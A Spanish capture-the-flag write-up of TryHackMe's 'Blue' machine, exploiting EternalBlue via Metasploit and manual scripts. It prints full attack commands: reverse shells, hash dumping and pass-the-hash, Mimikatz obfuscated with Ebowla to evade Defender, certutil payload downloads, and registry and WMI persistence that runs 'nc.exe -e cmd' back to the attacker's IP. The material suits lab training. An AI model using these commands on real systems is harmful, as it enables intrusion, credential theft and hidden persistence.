Blue | WriteUp

Blue | WriteUp

Sergiky

Introducción

Bienvenidos a este humilde WriteUp sobre esta sencillita máquina Windows que nos será de utilidad para repasar conceptos básicos y la explotación de diferentes formas sobre la vulnerabilidad MS17-010 o mayormente conocida como EternalBlue. Para que un sea un simple Write-up más hacer dos tipos de explotaciones, una automática con metasploit y otra manual, aunque para la manual tengo que recalcar que la máquina de tryhackme no está preparada para esto y en ciertas ocasiones tendremos problemas, en cambio, existe la misma máquina sin estos problemas en la plataforma hack the box(se necesita subscripción). También comentaros que veréis diferentes ips de “víctima” porque no lo he podido hacer todo de golpe o he tenido que reiniciar la máquina.

Montar el laboratorio

Hace tiempo escuche en un vídeo de S4vitar sobre el gran problema que tiene TryHackMe para ocultar las conexiones entre los diferentes dispositivos conectados a su VPN, no sé si en la actualidad esto estará solucionado, pero para asegurarnos os comparto un recurso de Wh1teDrvg0n que son unas reglas para prohibir las conexiones entrantes no deseadas.

Aseguraros de no tener reglas propias o alguna copia de estas porque al finalizar la máquina limpiaremos todas las reglas existentes.

Conexión VPN

  1. Nos descargamos el archivo VPN, tu icono > Access > Selecciona el servidor VPN y te lo descargas. Puede que el servidor no funcione o no esté disponible, esto lo comprobarás si al lanzar la vpn no se conecta(se queda intentándolo todo el tiempo).

  2. Lanzamos la VPN:

    1
    sudo openvpn user.ovpn

Configuración de reglas de seguridad.

Esta consola debéis de dejarla abierta para que la conexión no se muera.

  1. Comprobamos que no exista ninguna regla:

    1
    sudo iptables -L -v -n

    iptables vacío.
    iptables vacío.

  2. Ejecutamos el script y comprobamos las reglas utilizando el comando anterior.

    1
    sudo ./safevpn-thm.sh ip_máquina_víctima

    La ip indicada es la correspondiente con tun0, interfaz creada por la VPN.

    iptable después de ejecutar el script.
    iptable después de ejecutar el script.

Script para limpiar las reglas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

# Limpiar reglas IPv4
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -Z
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

# Limpiar reglas IPv6
ip6tables -t nat -F
ip6tables -t mangle -F
ip6tables -F
ip6tables -X
ip6tables -Z
ip6tables -P INPUT ACCEPT
ip6tables -P FORWARD ACCEPT
ip6tables -P OUTPUT ACCEPT

echo "Todas las reglas de iptables e ip6tables han sido eliminadas."

Estructura de directorios.

Por último y no menos importante debemos de crear la estructura de directorios para almacenar la información relevante que vayamos obteniendo.

1
mkdir {recog,data,exploitation}

Lanzamos la máquina en TryHackMe y cogemos la ip al vuelo.

Reconocimiento

TryHackMe nos facilita la labor y nos da la IP de la máquina realizada para ser explotada, como sabéis lo primero a realizar es comprobar si el host está activo.

Disponibilidad del host

1
ping -c 1 10.10.210.75

Escaneo con nmap

Vamos a descubrir los puertos abiertos de la máquina:

1
sudo nmap -p- --open -sS --min-rate 4500 -vvv -n -Pn 10.10.210.75 -oG allPorts

Escaneo de puertos con nmap.
Escaneo de puertos con nmap.

Recuerda que puedes utilizar varias herramientas y comparar resultados, puedes encontrar algún dato extra.

Escaneo con netcat

1
nc -zv 10.10.210.75 1-1000

Tienes más cómo unicornscan, angryscan, un script en bash…

Extracción de puertos manual

Para escanear los servicios y versiones de los puertos vamos a copiar los puertos en la clipboard, pero en este caso son muchos y no lo queremos copiar a mano podemos utilizar varias utilidades en un momento para ordenar y obtener solo el número de puertos del archivo grepeable extraido.

1
grep "Ports:" allPorts | tr ' ' '\n' | tail -n +4 | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//' | xargs

Extracción de puertos manualmente.
Extracción de puertos manualmente.

  • grep “Ports:” allPorts: Obtenemos la línea que contiene todos los puertos encontrados.
  • tr ‘ ‘ ‘\n’: Sustituimos los espacios por saltos de línea.
  • tail -n +4: Muestra todas las líneas menos las 4 primeras.
  • awk -F ‘/‘ ‘{print $1}’: Indicas que el delimitador es ‘/‘ y que quieres obtener el primer resultado.
  • tr ‘\n’ ‘,’: Sustituimos los saltos de línea por comas.
  • sed ‘s/.$//‘: Realizamos una sustitución(s -> search and replace), el’.’ representa cualquier carácter, el $ representa el final de la línea y en la zona de remplazo(//) no indicamos nada(entonces se elimina).

Escaneo de servicios y versiones

Escaneo de versión y servicios de los puertos:

1
sudo nmap -sCV -p135,139,445,49152,49153,49154,49158,49160 10.10.197.255 -oN targeted

Versión y servicios corriendo en dichos puertos.
Versión y servicios corriendo en dichos puertos.

Podemos encontrar alguna información como el nombre del equipo: Jon-PC, Windows 7 y diferentes versiones.

A continuación vamos a ver si nos permite hacer uso de null session.

Comprobaciones SMB y Null Session

1
smbclient -L //10.10.210.75 -N

Uso de null session con smbclient.
Uso de null session con smbclient.

Podemos probar con smbmap, pero comprobamos que tampoco nos deja:

1
smbmap -H 10.10.210.75

Intento de conexión con smbmap.
Intento de conexión con smbmap.

Llegados a este punto podemos comprobar si existen vulnerabilidades existentes para este Windows 7. Para ello utilizaremos algunos script en nmap, estos están divididos en categorías:

1
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u 

Categorías sobre los scripts de nmap.
Categorías sobre los scripts de nmap.

Como es un Windows 7 y el smb esta expuesto comprobamos las vulnerabilidades(vuln) de forma no intrusiva(safe):

1
nmap -p445 --script "vuln and save" 10.10.197.255

Detección del eternal blue con nmap.
Detección del eternal blue con nmap.

Puedes indicar el script:

1
nmap -p 445 --script smb-vuln-ms17-010 10.10.197.255

Puedes utilizar netexec(crackmapexec). Para instalarlo en arch he utilizado el siguiente comando:

1
pipx install git+https://github.com/Pennyw0rth/NetExec
1
netexec smb 10.10.197.255 -M ms17-010

Utilizando netexec para comprobar si eternalblue existe.
Utilizando netexec para comprobar si eternalblue existe.

Explotación

Explotación con metasploit

Configuración inicial del exploit.

Para explotarlo tenemos diferentes maneras de hacerlo:

Mediante metasploit:

Para explotar eternal blue mediante metasploit tenemos que seguir una serie de pasos.

  1. Abrir metasploit con el comando msfoconsole

  2. Buscar por eternalblue: search eternalblue.

Buscamos por eternalblue.
Buscamos por eternalblue.

  1. Copiamos el nombre del primero y indicamos que lo queremos usar:
    1
    use exploit/windows/smb/ms17_010_eternalblue
  2. Miramos cuáles son las opciones a rellenar para que el payload funcione correctamente:
    1
    show options

En este caso, si nos fijamos tenemos que configurar todas las opciones que sean “yes” en Required, al menos que ya haya una configuración por defecto que coincida con nuestra información.

  1. Seteamos el RHOST:
    1
    set RHOST 10.10.114.58

Si volvemos a ejecutar la orden show options, nos aparecerá la ip indicada, en caso de equivocarnos podemos utilizar el comando unset RHOSTS

Ip víctima seteada.
Ip víctima seteada.

  1. Indicamos LHOST(ya que por defecto utiliza la ip de otra interfaz). Está es la ip que nos da la vpn de tryhackme(tun0).

    1
    set LHOST 10.21.60.116
  2. Debemos de configurar un payload, esto es el código que se ejecuta en la víctima, normalmente para obtener acceso a ella usando alguna shell, depende de nuestras preferencias usaremos uno u otro(puedes ver los todos con el comando show payloads):

1
set payload windows/x64/shell/reverse_tcp

En este caso utilizo una reverse shell para que el equipo víctima me envia una shell a mí.

  1. Ejecutamos el exploit con el comando run o exploit. En caso de que no funcione revisar que las direcciones esten correctas, que no haya ningun servicio utilizado en el puerto 4444 y a las malas(como fue mi caso) tuve que reiniciar la máquina víctima.

Conexión exitosa con metasploit.
Conexión exitosa con metasploit.

Ya podemos introducir comandos en el equipo víctima.

Una vez aquí nos vamos a salir, para ello utilizamos el comando background o ctrl+z. Vamos a cambiar nuestra sesión reverse shell por una de tipo meterpreter, está sesión es la que se usa por defecto y en lugar de enfadarte y pensar que porque no he usado esta primero es para que nos familiaricemos con la herramienta metasploit.

Meterpreter tiene algunas ventajas frente a la reverse shell cómo:

  • Se carga en memoria.
  • Capturas de pantalla.
  • Registros de teclas..
  • ..

Cambio de reverse shell a Meterpreter

Bien, para cambiar de reverse shell a meterpreter vamos a seguir los siguientes pasos:

  1. Cambiamos al siguiente módulo: use post/multi/manage/shell_to_meterpreter2. Como antes vemos los parámetros a configurar: show options, en este caso solo debemos indicar el ID de la sesión que contiene la reverse shell.
  2. Para ver el ID de la sesión suspendida debemos utilizar sessions -l* y seguramente tenga el ID 1.
  3. Seteamos el parámetro: set SESSION 1
  4. Ejecutamos: run
  5. Al finalizar comprobamos nuestras sesiones y debe de aparecer una nueva sesión con meterpreter.
  6. Nos metemos a ella con el comando sessions -i 2(En mi caso con 3 porque cree otra sesión y elimine la 2).

Sesiones disponibles.
Sesiones disponibles.

Comandos y algunos extra.

session -i ID: Para conectarnos a la sesión.
sessions -k ID: Para eliminar alguna sesión.
sessions -K: Para eliminar todas las sesiones.

Vamos a escalar privilegios de una forma muy sencilla con meterpreter, si utilizamos el comando help para ver los comandos que tenemos disponibles, vemos getsystem como bien pone en su descripción realiza un intento para escalar privilegios sobre el equipo, si este tiene éxito nos elevará a NT AUTHORITY\SYSTEM.

Podemos hacer getuid para saber con que usuario estamos ahora y saldrá NT AUTHORITY\SYSTEM, esto es porque el servicio smb del que nos hemos aprovechado lo esta utilizando dicho usuario, aunque no tiene porque ser siempre así.

Usuario NT AUTHORITY\SYSTEM.
Usuario NT AUTHORITY\SYSTEM.

Vamos a ver por encima el concepto de “migrar el proceso”, esto puede ser útil para obtener persistencia, para evadir una detección…

Cuando migras a un proceso, tienes que ver que sea de NT AUTHORITY\SYSTEM(el mismo usuario) y que en la última columna de la derecha(la de path) no este vacía. Todo esto se puede ver con el comando:

1
ps

El comando sería:

1
migrate PID

No se lo recomiendo hacer no suele ir muy bien, o no funciona en muchos procesos o la sesión se queda pillada y te tienes que salir, y luego no te deja volver a pasar la reverse shell a una sesión meterpreter, si paso esto recomiendo cerrar metasploit y establecer una conexión directamente con meterpreter.

Para obtener el hash de los usuarios del sistema tenemos el comando hashdump en la sesión meterpreter.

Resultado de usar hashdump.
Resultado de usar hashdump.

Vamos a separar esto:

  • Jon:1000: Nombre de usuario y el SID(Security Identifier)
  • aad3b435b51404eeaad3b435b51404ee: La primera parte hasta los dos puntos es el hash LM. No nos sirve para nada porque ya no se usa.
  • ffb43f0de35be4d9917ac0cc8ad57f8d: Esta segunda parte es el hash NTLM

Podemos utilizar diferentes herramientas para crackear dichos hashes NTLM:

  • Crackstation: Página web con la que he podido sacar el hash NTLM de Jon.

La contraseña de Jon es: alqfna22

Obtención de flags:

La primera está en la raíz:

1
2
3
cd /
dir
cat flag1.txt

Obtención de la primera bandera.
Obtención de la primera bandera.

Segunda bandera en el directorio donde se almacenan las contraseñas:

1
2
3
cd Windows\\System32\\config
dir
cat flag2.txt

Obtención de la segunda flag.
Obtención de la segunda flag.

En la imagen da error porque ya estoy en dicho directorio, ejecute el comando sin querer.

Tercera bandera, ‘Donde los administradores suelen guardar cosas interesantes.’.

1
2
3
cd Users\\Jon\\Documents\\
dir
cat flag3.txt

Resultado de la tercera flag.
Resultado de la tercera flag.

Explotación manual

Uso de zzz exploit

Es bueno saber como usar mestasploit ya que es considerada una herramienta muy pontente, aunque considero que no se debe de abusar de ella porque no ganariamos tanto conocimiento como realizar una explotación manual.

Vamos a buscar un script en google ms17-010 zzz_exploit py de worawit.

1
git clone https://github.com/worawit/MS17-010

Este repositorio funciona mejor con python 2. Vamos a empezar ejecutando el script checker, ya sabéis que yo utilizo arch y debo de instalar un paquete(impacket) para poder ejecutar el script.

1
sudo pacman -S python2-impacket
1
python2 checker.py 10.10.115.185

Preview del script checker.
Preview del script checker.

Si en alguno de las pipes te muestra información en lugar de status_access_denied significa que tenemos una forma potencial de ejecutar comandos, incluso ya soo con ver the target is not patched. Esto no significa que no deje, debemos modificar el script checker.py y indicar en el campo USERNAME el usuario guest:

Indicamos el usuario guest en checker.py
Indicamos el usuario guest en checker.py

Pero a continuación vemos que el usuario guest no está activado en la máquina víctima.

Error con el usuario guest.
Error con el usuario guest.

Puedes poner las credenciales del usuario encontrado con metasploit anteriormente y funcionaría:

Después de poner las credenciales.
Después de poner las credenciales.

Uso de Autoblue

En la máquina de tryhackme no está activado el usuario guest(en la de hack the box sí), pero aún así podemos utilizar el script AutoBlue. Nos permite tener una mayor flexibilidad y retocar ciertas características que metasploit no permite. Este también tiene un checker y nos sale lo siguiente al ejecutarlo:

Autoblue no encuentra los diccionarios.
Autoblue no encuentra los diccionarios.

Al intentar modificar el script para indicar la ruta veo que no se encuentra aquí, siguiendo el rastro, encuentro el problema en la función check_accesisible_pipes(), exactamente en la función de la conexión(conn.find_named_pipe), objeto creado por el módulo importado mysmb(más abajo se ve), una vez aquí dentro busco por el output que nos muestra al no encontrar el diccionario y encuentro la ruta:

Cambiamos la ruta en el script mysmb.py
Cambiamos la ruta en el script mysmb.py

Ahora probamos a ejecutar el script de nuevo:

Ejecucción exitosa del checker.
Ejecucción exitosa del checker.

Genial, parece que funciona, ahora debemos de dirigirnos al directorio shellcode y dentro encontraremos un script llamado shell_prep.sh que nos generará la carga, este nos realizará diferentes preguntas al ejecutarlo:

Generando el shellcode.
Generando el shellcode.

  • msfvenom: Herramienta para generar payloads, en este caso nuestra reverse shell.

  • LHOST: Ip que recibe la shell, en este caso ponemos la del adaptador tun de la vpn.

  • LPORT x64: puerto donde se envía la shell de x64 bits.

  • LPORT x86: puerto donde se envía la shell de x86 bits.

  • meterpreter shell o regular cmd: Visto con metasploit, con meterpreter permite hacer algunas cosas extras automátizadas, mas ejecucción en memoria…

  • staged payload o stageless payload: El payload con etapas tiene la primera parte más pequeña y hace más difícil detectarlo, necesita conexión a internet para descargar el resto, mientras que el payload sin etapas va todo de golpe, puede ser más fácil de detectar. Nosotros utilizaremos este porque vamos a usar netcat para establecer la conexión y no esta preparado para múltiples fases con intercambio de información.

Nos ponemos por escucha con una terminal por el puerto indicado:

1
sudo rlwrap nc -nlvp 8888

Con rlwrap podemos realizar acciones como ctrl+L y más.

Ejecutamos el eternalblue_exploit7.py:

1
python2 eternalblue_exploit7.py 10.10.244.238 shellcode/sc_x64.bin

Ejecucción del comando whoami en la máquina víctima.
Ejecucción del comando whoami en la máquina víctima.

Cómo podéis comprobar no siempre es un camino de rosas, te vas a encontrar muchas trabas, si en el exploit de python(zzz_exploit.py) visto anteriormente hubiera salido algún pipe poniendo el usuario guest tendríamos que haber modificado el script para que en lugar de escribir un archivo en C: se conectará a un recurso compartido mediante smb creado por nosotros para ejecutar un binario netcat.exe para proporcionarnos la reverse shell. Quién quiera entrar más en detalle de cómo realizar en este vídeo de s4ivtar lo explica, minutos 57:00-1:01:19.

Post explotación

Activar el usuario Administrator

En está máquina tenemos desactivados el usuario Administrator, podríamos hacer lo mismo con guest, pero no nos va a hacer falta:

1
2
net user Administrator /active:yes
net user Administrator Administrator

Copia del archivo SAM y SYSTEM

  • SAM(Security Account Manager): Base de datos que almacena las credenciales de los usuarios del sistema.

  • SYSTEM: Parte del registro que contiene información crítica para del sistema y claves de cifrado útiles para descifrar los hashes del archivo SAM.

Nos podemos dirigir al directorio C:\Windows\Temp, crear una carpeta y hacer una copia de estos archivos:

1
2
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup

Copia de SAM y SYSTEM.
Copia de SAM y SYSTEM.

A continuación nos lo vamos a transferir por smb hacía nuestro equipo.

Enlaces simbólicos para impacket

Para compartir recursos mediante SMB desde nuestro equipo Arch vamos a utilizar Impacket, pero en mi caso, al estar en arch y intentar ejecutar el binario me pone que no es encontrado y si esta instalado(pacman -S impacket), al parecer los binarios son almacenados sin indicar impacket- al principo como otros sistemas operativos(ej: Kali Linux) en la ruta /usr/bin/ Bien, pues he encontrado un script realizado por NoobGajen que se encarga de crear enlaces símbolicos en dicho directorio por cada paquete de impacket instalado en la misma ruta /usr/bin.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

# Check if impacket or python-impacket-git is installed and get the package name
package=$(pacman -Qs | awk '{print $1}' | grep -E '^local/impacket$|^local/python-impacket-git$')

# Check if the package variable is non-empty (i.e., a matching package is found)
if [ -n "$package" ]; then
echo -e "\033[32m$(basename $package local/)\033[0m package found installed in your system:)"
echo -e "Now, creating symbolic link for impacket binaries...\n"

# Get the list of binaries for the package and create symbolic links
binaries=$(pacman -Ql $package | grep -i '/usr/bin/[A-Za-z0-9._-]\+' | awk '{print $2}')
for binary in $binaries; do
sudo ln -sfv "$binary" "/usr/bin/impacket-$(basename "$binary" .py)"
done
else
echo -e "Impacket is not installed in your Arch Linux."
fi

Le damos permisos de ejecucción y lanzamos.

Creación de los links simbólicos.
Creación de los links simbólicos.

Con reiniciar la terminal o cerrarla y abrir otra ya podemos utilizarlo el comando con el formato impacket-…

Transferencia de archivos mediante smb

Utilizamos la herramienta impacket-smbserver para que la víctima nos vea y nos pueda mandar los archivos:

1
sudo impacket-smbserver smbFolder $(pwd) -smb2support
  • impacket-smbserver: Herramienta que nos permite crear un servidor smb.

  • smbFolder: nombre del recurso compartido.

  • $(pwd): Directorio que queremos compartir

  • smb2support: Compatible para los clientes que utilicen smb2.

Acto consecutivo en la shell de la víctima vamos a copiar estos archivos a mi equipo mediante smb:

1
2
copy sam.backup \\10.21.60.116\smbFolder\sam
copy system.backup \\10.21.60.116\smbFolder\system

Y el resultado sería el siguiente:

Mandar via smb los archivos sam y system.
Mandar via smb los archivos sam y system.

Recibir los archivos sam y system.
Recibir los archivos sam y system.

Al tener estos archivos ya en nuestro equipo podemos utilizar impacket-secretdump que nos devolverá los hashes de los usuarios:

1
impacket-secretsdump -sam sam -system system LOCAL

Obtención de hashes con impacket-secretsdump.
Obtención de hashes con impacket-secretsdump.

Estos hashes los puedes intentar de romper como hemos visto antes con metasploit, mediante crackstation, hashcat…

Información extra y conexión con el usuario Administrator mediante Pass The Hash

Imaginaros que la contraseña de Administrator(que la hemos puesto nosotros) es muy complicada y no conseguimos sacar el hash, podemos realizar pass the hash, está técnica consiste en conectarse utilizando el hash ntlm en lugar de la contraseña, para ello vamos a utilizar netexec(cómo crackmapexec) para comprobar si esto es posible:

1
netexec 10.10.110.244 -u 'Administrator' -H ''
  • -H: Hash(en este caso NTLM)

Intento fallido de pass the hash.
Intento fallido de pass the hash.

Obtener hashes de contraseña almacenados en memoria, secretos como contraseñas de cuentas.

1
netexec smb 10.10.91.251 -u 'Administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' --lsa

No vemos nada interesante.

Resultado de los secretos.
Resultado de los secretos.

Para entrar al sistema con el usuario Administrador sería:

1
rlwrap impacket-psexec WORKGROUP/Administrator@10.10.145.252 -hashes :d144986c6122b1b1654ba39932465528

Y así podríamos entrar solo teniendo el hash.

El siguiente paso es utilizar Mimikatz para intentar extraer las credenciales de Administrator de la memoria en texto claro. En una auditoría real, se puede llegar a comprometer un equipo con cuentas no privilegiadas, pero con mimikatz algunas veces se pueden ver contraseñas de usuarios privilegiados en memoria.

Mimikatz y ofuscación con Ebowla para evadir el defender

En este caso nos lo descargamos del siguiente repositorio, recuerda que tiene que ser .exe para transferirlo a la máquina víctima.

Pero antes de transferir nada, tenemos que asegurarnos de que el antivirus(el defender) no nos lo casque, para ello vamos a utilizar Ebowla que nos ofusca el archivo y se desencripta con las variables de entorno de la víctima. Está un poco desactualizado y puede que con los nuevos antivirus o algunos más complejos no funcione, pero para este caso nos sirve.

1
2
3
4
git clone https://github.com/Genetic-Malware/Ebowla

# Movemos el mimikatz dentro del directorio Ebowla
mv mimikatz.exe Ebowla

Nos dirigimos dentro del directorio Ebowla y abrimos el archivo genetic.config.

Una vez dentro vamos a modificar los siguientes valores:

Modificación de la variable output_type y payload_type.
Modificación de la variable output_type y payload_type.

Ahora vamos un poco en el script hasta que estemos en [[ENV_VAR]] que es la chicha.

Variables de entorno por defecto.
Variables de entorno por defecto.

Hay que tener cuidado a la hora de rellenarlo, porque si nos equivocamos en alguna luego el binario no se va interpretar bien y no se podrá descrifrar correctamente.

Para ir rellenándolas tendremos que ir a la consola víctima y ir viendo el valores de estas variables de entorno.

Para ver las variables de entorno en windows tenemos el comando: echo %variable_entorno%, cuando no reporta nada mejor no se pone nada, es mejor que no intentéis buscarlo de otra forma porque a lo mejor no lo interpreta correctamente.

Variables de entorno rellenadas.
Variables de entorno rellenadas.

Guardamos, cerramos, instalamos las siguientes dependencias para que el script funcione:

1
sudo pacman -S python2-configobj python2-pyparsing

Ejecutamos el script:

1
python2 ebowla.py mimikatz.exe genetic.config

Creación del archivo mimikatz con go que será compilado.
Creación del archivo mimikatz con go que será compilado.

Si vemos lo que hay en el directorio output que nos ha creado, veremos el archivo go_symmetric_mimikatz.exe.go. Tenemos el script build_x64_go.sh que se va a encargar de compilar nuestro archivo:

1
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go mimikatz.exe

Al ejecutar el script vemos que algo no ha ido bien, que novedad eh, arch y sus cosas. En este caso dice lo siguiente entre otras líneas:

1
cgo: C compiler "x86_64-w64-mingw32-gcc" not found: exec: "x86_64-w64-mingw32-gcc": executable file not found in $PATH

Nada pues lo instalamos sudo pacman -S mingw-w64-gcc y volvemos a ejecutar el comando:

Compilación final de mimikatz.
Compilación final de mimikatz.

Bien, ya nos lo ha creado en el directorio output, vamos a transferir el archivo, en esta ocasión con un servidor en python:

1
sudo python3 -m http.server 80

Y en la máquina víctima nos lo descargamos con certutil:

1
certutil.exe -f -urlcache -split http://10.21.60.116/mimikatz.exe
  • certutil.exe: Herramienta nativa de Windows que permite administrar certificados y claves criptográficas. En nuestro caso abusamos de él para descargar archivos de internet.
  • -f: Sobreescribe un archivo si ya existe.
  • -urlcache: Para descargar archivos.
  • split: Divide el archivo en muchas partes y luego lo reensambla. Útil para manejar archivos grandes o redes inestables.

Mimikatz descargado en la máquina víctima.
Mimikatz descargado en la máquina víctima.

Si probamos a ejecutar el programa nos sale lo siguiente:

Mimikatz en la máquina víctima.
Mimikatz en la máquina víctima.

Ahora en la consola interactiva de mimikatz ponemos lo siguiente:

1
2
privilege::debug
sekurlsa::logonPasswords
  • privilege::debug: Elevamos los privilegios del proceso que esta ejecutando Mimikatz. Intenta habilitar el privlegio SeDebugPrivilege en el proceso para poder inspeccionar y manipular la memoria de otros procesos.
  • sekurlsa::logonPasswords: Extrae la información de autenticación de la memoria, específicamente de LSASS(Local Security Authority Sybsystem Service). Nos puede mostrar contraseñas en texto claro, hashes NLTM, Tickets de Kerberos, información sobre sesiones de usuarios activas.

Resultados de mimikatz sin contraseña.
Resultados de mimikatz sin contraseña.

En este caso no nos muestra credenciales en texto claro, pero podría ser que lo hiciera.

Información extra

LaZagne Stealer de contraseñas.

Dejo comentado por aquí que tenemos la herramienta LaZagne que nos permite recolectar credenciales almacenadas en nuestro equipo(navegador, gestores de contraseñas, tokens…).

Activación y conexión sobre RDP

Podemos comprobar si la máquina víctima tiene el servicio RDP disponible:

1
nmap -p3389 --open -v -n 10.10.145.252

Comprobación del puerto RDP.
Comprobación del puerto RDP.

Al estar cerrado tendríamos que utilizar netexec para activar el rdp en la máquina víctima:

1
netexec smb 10.10.145.252 -u 'Administrator' -H 'd144986c6122b1b1654ba39932465528' -M rdp -o action=enable
  • -M rdp: Indicamos el módulo RDP.
  • -o action=enable: -o Nos permite pasarle opciones al módulo seleccionado, en este caso que active rdp en caso de que no este.

Activando rdp con netexec.
Activando rdp con netexec.

Otro tip es que ya que tenemos acceso al equipo víctima, podemos comprobar si dicho puerto se ha abierto con el comando:

1
netstat -na
  • -n: Muestra las direcciones ip y los números de puerto en formato numérico. Sin está opción también intentaría resolver el nombre de los host y tardaría más tiempo.
  • -a: Muestra todas las conexiones y puertos activos.

Comprobación del estado del puerto rdp en la máquina víctima.
Comprobación del estado del puerto rdp en la máquina víctima.

Ejecucción de la conexión para obtener el escritorio:

1
rdesktop 10.10.145.252 -u 'Administrator' -p 'no_la_tengo'

Si no tienes la contraseña puedes usar xfreerdp para usar pass the hash, en arch tienes que instalar el paquete AUR:

1
yay -S freerdp2

Después ya lo puedes ejecutar con xfreerdp:

1
xfreerdp /v:10.10.202.55 /u:Administrator /pth:d144986c6122b1b1654ba39932465528 /sec:rdp

En W7 no podemos aplicar pass the hash porque necesitamos tener el modo restricted Admin Mode activado, esto solo es posible a partir del Windows 8.1, lo podemos ver en la ayuda del comando xfreerdp si aún así quieres intentarlo verás que no se conecta al usuario Administrator, si no que tienes que introducir la contraseña:

Hash the pass en Windows 7 no permitido.
Hash the pass en Windows 7 no permitido.

Así que tenemos que seguir buscando una manera para buscar la contraseña sin llegar a descifrar el hash.

Lo que podemos hacer es entrar mediante RDP(ya que la contraseña se la hemos establecido nosotros) con las credenciales Administrator/Administrator, simulando la conexión de un tercero. Una vez realizado esto realizamos las mismas operaciones con mimikatz y vemos si aparece algo más de información.

La idea es ejecutar los comandos del mimikatz una vez conectado por RDP(en mi caso lo he realizado mientras está la conexión activa)

Conexión simulando un tercero.
Conexión simulando un tercero.

Mimikatz con las credenciales del administrador en texto claro.
Mimikatz con las credenciales del administrador en texto claro.

Genial, ahora si podemos ver la contraseña en texto claro, hashes…En caso de ser una contraseña compleja os la podríais encontrar mediante mimikatz y ser de gran ayuda.

Persistencia

1. Cuando se abre una aplicación que nos de una shell.

Cada vez que se abra el explorador de archivos vamos a obtener una shell, lo primero es buscar el binario o nombre de este:

1
2
cd C:\Windows\system32
dir | find "explore"

Binario del explorador de archivos.
Binario del explorador de archivos.

Una vez localizado(explorer.exe) debemos realizar una copia:

1
copy explorer.exe _explorer.exe

Debemos de subir un binario netcat, para que pueda enviarnos la shell:

Nos lo descargamos en nuestro máquina atacante, en mi caso utilice este repositorio y una vez traido a mi máquina lo renombre como nc.exe.

Nos movemos a la carpeta creada en temp aunque no haría falta porque somos Administradores, pero al estar ya creada.

1
cd C:\Windows\Temp\postExplotacion

Y de la misma forma que nos descargamos mimikatz lo hacemos con nc, en este caso no vamos a utilizar ebowla porque el firewall no lo detecta y no hace falta.

1
2
sudo python3 -m http.server 80
certutil -f -urlcache -split http://10.21.60.116/nc.exe

Una vez descargado vamos a añadir el siguiente registro:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v Debugger /t reg_sz /d "cmd /C _explorer.exe & C:\Windows\Temp\postExplotacion\nc.exe -e cmd 10.21.60.116 443" /f 

En caso de equivocarte con algo para eliminarlo sería así:

1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v Debugger /f

Si nos ponemos en escucha por el puerto 443 y abrimos el explorador de archivos veremos lo siguiente:

Obteniendo una reverse shell al abrir el explorador de archivos.
Obteniendo una reverse shell al abrir el explorador de archivos.

Cómo podeis ver es un poco bastante cantoso, porque se ve la terminal y indica que el comando _explorer no se ha reconocido, según la aplicación que utiliceis se mostrará de una manera u otra. No es recomendable para casos de auditorías reales donde se busque la descripción. Normalmente es útil identificar que aplicaciones son las que abre el usuario constantemente(por ejemplo el office) y realizar algo así, pero más camuflado.

Cuando se cierra la aplicación se cierra el proceso de la cmd, tienes que buscar la manera rápida de poner el proceso en segundo plano o directamente hacerlo al enviar el comando de netcat.

2. Cuando se cierra un programa que nos de una shell.

Esta última opción, desconozco el motivo, pero no consigue darme una shell, dejo por aquí cómo sería el código.

Vamos a indicar que cuando se cierre el bloc de notas(notepad) nos de una shell:

1
2
3
4
5
6
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\Temp\postExplotacion\nc.exe -e C:\Windows\System32\cmd.exe 10.21.60.116 443"

3. Utilizando los eventos WMI para ejecutar una tarea en intervalos regulares de tiempo.

Está es la mejor de las tres porque es la manera más “sigilosa”, vamos a hacer que cada minuto mande una shell a nuestro equipo, pero antes de eso

Creación de binario para reverse shell con msfvenom:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.60.116 LPORT=443 -f exe -o persistencia.exe

Una vez transferido con certutil(no hace falta ofuscarlo) vamos a ejecutar el binario y nos ponemos en escucha en nuestro equipo para comprobar que esta correcto y llega la shell.

Una vez comprobado que llega la shell, vamos a introducir los siguientes registros:

1
2
3
4
5
6
wmic /NAMESPACE: "\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"


wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\Windows\Temp\postExplotacion\persistencia.exe",CommandLineTemplate="C:\Windows\Temp\postExplotacion\persistencia.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="___EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

Nos ponemos en escucha con netcat como siempre y si esperamos un minuto nos da una consola del usuario Administrator.

Conclusiones finales

Podéis apreciar como se ha podido complicar una simple máquina “Easy”(fácil) cuando te despegas de Metasploit y te metes más en el barro para saber que está pasando, está metodología se utiliza para un mayor control de las situaciones y donde el metasploit no llega, la explotación manual es completamente válida para una certificación como OSCP. Espero que os haya gustado esta máquina y hayáis aprendido tanto como yo en el camino o más:).

Comentarios